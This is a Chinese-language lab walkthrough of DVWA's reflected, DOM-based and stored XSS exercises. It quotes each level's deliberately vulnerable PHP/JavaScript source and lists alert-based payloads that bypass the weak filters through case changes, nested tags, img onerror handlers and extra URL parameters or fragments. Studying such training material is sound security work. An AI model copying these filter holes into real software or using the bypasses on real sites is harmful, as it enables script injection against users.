DVWA(xss部分原始碼分析)
前言
DVWA靶場都不陌生,最新學習xss,從新又搞了一遍xss部分,從原始碼方面康康xss的原因,參考了很多大佬的部落格表示感謝,網上也有很多DVWA靶場教程,就水一篇吧。
更多web安全知識歡迎訪問:https://lmg66.github.io/-------->防止爬蟲
環境配置
官網:http://www.dvwa.co.uk/
下載地址:https://github.com/ethicalhack3r/DVWA
下載方式:zip下載或git https://github.com/ethicalhack3r/DVWA
下載完成放入http服務下即可
我使用的是phpstudy下載地址:https://m.xp.cn/
反射性xss
級別low
檢視原始碼:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
分析
name變數沒有過濾,直接輸出
payload
/vulnerabilities/xss_r/?name=<script>alert('xss')<%2Fscript>#
級別:Medium
檢視原始碼
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
分析
這裡用正則表達過濾標籤,正則的匹配有缺陷大小問題,而且只是匹配了一次可以巢狀,而且只是過濾還可以用其他標籤代替來觸發反射性xss
payload
vulnerabilities/xss_r/?name=<Script>alert('xss')<%2FScript>#
vulnerabilities/xss_r/?name=<img+src%3Dx+onerror%3Dalert('XSS')>#
/vulnerabilities/xss_r/?name=<s<script>cript>alert('XSS')<%2Fscript>#
級別:high
檢視原始碼
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
分析
不區分大小寫,而且萬用字元匹配,巢狀無法使用,可以嘗試其他標籤觸發彈窗
payload
/vulnerabilities/xss_r/?name=<img+src%3D"xss"+onerror%3Dalert('xss')>#
級別:impossible
檢視原始碼:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
分析
name變數通過htmlspecialchars()函式把預定的字元轉為HTML實體,且輸入到
標籤裡,所以佔時
DOM型xss
級別:low
檢視原始碼:
<div class="vulnerable_code_area">
<p>Please choose a language:</p>
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
</div>
分析
lang變數通過document.location.href來獲取url,並沒有過濾就輸入到了option標籤中
payload
級別:Medium
檢視原始碼:
<?php // Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default']; # Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
} ?>
分析
對default變數進行了過濾,通過stripos()函式查詢在default中的位置(不區分大小寫),如果匹配到,則變為default=English,但是可以使用其他標籤來繞過,先要閉合和標籤
payload:
/vulnerabilities/xss_d/?default=English </option></select><img src=x onerror=alert('XSS')>
/vulnerabilities/xss_d/?default=English<input onclick=alert('XSS') />
級別:high
檢視原始碼:
<?php // Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
} ?>
分析
使用白名單,進行匹配,如果值不為就default=English,但是隻是對default進行了過濾,可以使用其他變數,document.location.href來獲取url,仍然會輸出到標籤中顯示,當然也可以用註釋符號#
payload:
/vulnerabilities/xss_d/?default=English&a=</option></select><img src=x onerror=alert('XSS')>
/vulnerabilities/xss_d/?default=English&a=?default=English&a=<input onclick=alert('XSS') />
/vulnerabilities/xss_d/?default=English#<input onclick=alert('XSS') />
/vulnerabilities/xss_d/?default=English#</option></select><script>alert('xss')</script>)
級別:impossible
檢視原始碼:
# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
$decodeURI = "";
}
分析:
如果是impossible難度則decodeURI="",意思就是不解碼,那麼標籤就會被過濾,無法閉合標籤和建立新標籤,所以無法xss
儲存型xss
級別:low
檢視原始碼:
<?php if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
} ?>
分析:trim()函式 stripslashes() 函式 mysqli_real_escape_string() 函式只是對/型別的處理過濾轉碼,主要是對資料庫的保護並未設計的xss的內容,故可以直接xss
payload
name:Lmg66
message:<script>alert('xss')</script>
級別:medium
檢視原始碼:
<?php if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
} ?>
分析:
對name用str_replace()是區分大小寫的,可以大寫繞過,只是匹配了一次可以巢狀繞過,也可以使用其他的標籤
對message,addslashes()函式在預定字元加/,strip_tags()函式剝去字串中HTML,XML,以及php標籤,htmlspecialchars()函式預定的函式轉換為HTML實體,基本都過濾和轉義了,所以突破name變數,name變數限制了輸出長度,要F12更改name的maxlength
payload:
name:<Script>alert('xss')</script>
message:Lmg66
name:<s<script>cript>alert('xss')</script>
message:Lmg66
name:<img src='xss' onerror=alert('xss')>
message:Lmg66
級別:high
檢視原始碼:
<?php if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
} ?>
分析:
對message和上一個一樣,沒希望突破,對name來說preg_replace( '/<(.)s(.)c(.)r(.)i(.)p(.)t/i', '', $name )之前反射型xss見過,不區分大小寫,萬用字元過濾,可以使用其他標籤,name同樣限制了長度,F12改一下maxlength="100"
payload:
name:<img src='xss' onerror=alert('xss')>
message:Lmg66
級別:impossible
檢視原始碼:
<?php if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name ); // Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
} // Generate Anti-CSRF token
generateSessionToken(); ?>
分析:
對name和message都進行了嚴格過濾